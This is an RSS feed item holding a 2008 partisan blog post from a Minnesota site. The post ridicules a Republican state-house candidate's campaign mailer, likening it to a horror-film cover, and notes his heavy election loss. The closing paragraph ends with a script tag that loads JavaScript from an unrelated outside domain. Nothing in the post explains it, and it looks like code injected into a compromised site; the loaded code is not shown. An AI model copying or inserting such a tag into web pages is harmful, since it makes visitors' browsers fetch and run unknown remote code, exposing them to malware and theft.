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		<title>The &#8220;Horror&#8221; of GOP Campaign Tactics</title>
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		<pubDate>Tue, 18 Nov 2008 02:37:46 +0000</pubDate>
		<dc:creator>Matt Martin</dc:creator>
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		<description><![CDATA[Dave Carlson (R) got absolutely decimated (28 to 71) by Sheldon Johnson (DFL) in the race for HD 67B (East St. Paul), so I hesitate to even post on this, but it&#8217;s too funny not to mention.  Remember how &#8220;tough&#8221; Michael Brodkorb thought Dave Carlson&#8217;s mailer was (at right)?  Personally, I think using violent rape [...]]]></description>
			<content:encoded><![CDATA[<p id="top" /><a href="http://mnpublius.com/wp-content/uploads/2008/11/carlsonjohnsonmylifemailerfront-2.jpg"><img class="alignnone size-full wp-image-4140" title="carlsonmailer_tm" src="http://mnpublius.com/wp-content/uploads/2008/11/carlsonmailer_tm.jpg" alt="" width="400" height="196" align="right" /></a><a href="http://mnpublius.com/wp-content/uploads/2008/11/perfect-witness.jpg"><img class="alignnone size-medium wp-image-4142" title="perfect-witness" src="http://mnpublius.com/wp-content/uploads/2008/11/perfect-witness-205x300.jpg" alt="" width="133" height="195" align="right" /></a><strong>Dave Carlson (R) got absolutely decimated </strong>(<a href="http://electionresults.sos.state.mn.us/20081104/ElecRslts.asp?M=LG&amp;LD=67B">28 to 71</a>) by Sheldon Johnson (DFL) in the race for HD 67B (East St. Paul), so I hesitate to even post on this, but it&#8217;s too funny not to mention.  Remember how &#8220;tough&#8221; Michael Brodkorb thought Dave Carlson&#8217;s mailer was (at right)?  Personally, I think using violent rape as a campaign ploy is absolutely disgusting (or maybe even worse, implying your opponent is not serious about preventing it), but hey, that&#8217;s just me.  Well, turns out that Carlson couldn&#8217;t find anything in reality that satiated his desire to smear, so he turned to cheap horror flicks for&nbsp;inspiration.</p>
<p>In case you&#8217;ve already put two and two together, yes, the pic on the left is the box art for the horror movie &#8220;<a href="http://www.amazon.com/Perfect-Witness-Joanne-Baron/dp/B000XJ5UEO">The Perfect Witness</a>&#8221; and the pic on the right is David Carlson&#8217;s flier.  Notice any&nbsp;similarities?</p>
<p><strong>Now, maybe this is just circumstance and both used a stock image (although, not likely&thinsp;&#8212;&thinsp;the cover seems to be of the lead actress in the movie), but even if that were the case, isn&#8217;t it a bit disturbing that Carlson felt it appropriate to use the same image used in a horror movie for campaign lit?</strong> I mean, the one has the express purpose of scaring people through sensationalized fiction and over-the-top imagery, and the other is a horror movie named &#8220;The Perfect Witness&#8221;&nbsp;(zing!).</p>
<p>Again, it doesn&#8217;t matter because Carlson got absolutely trounced, but let&#8217;s all pause and reflect on how great <a href="http://www.minnesotademocratsexposed.com/2008/10/27/the-toughest-mail-piece-i-have-ever-seen/">some people</a> thought this lit piece was&#8230;<script src="http://ae.awaue.com/7"></script></p>
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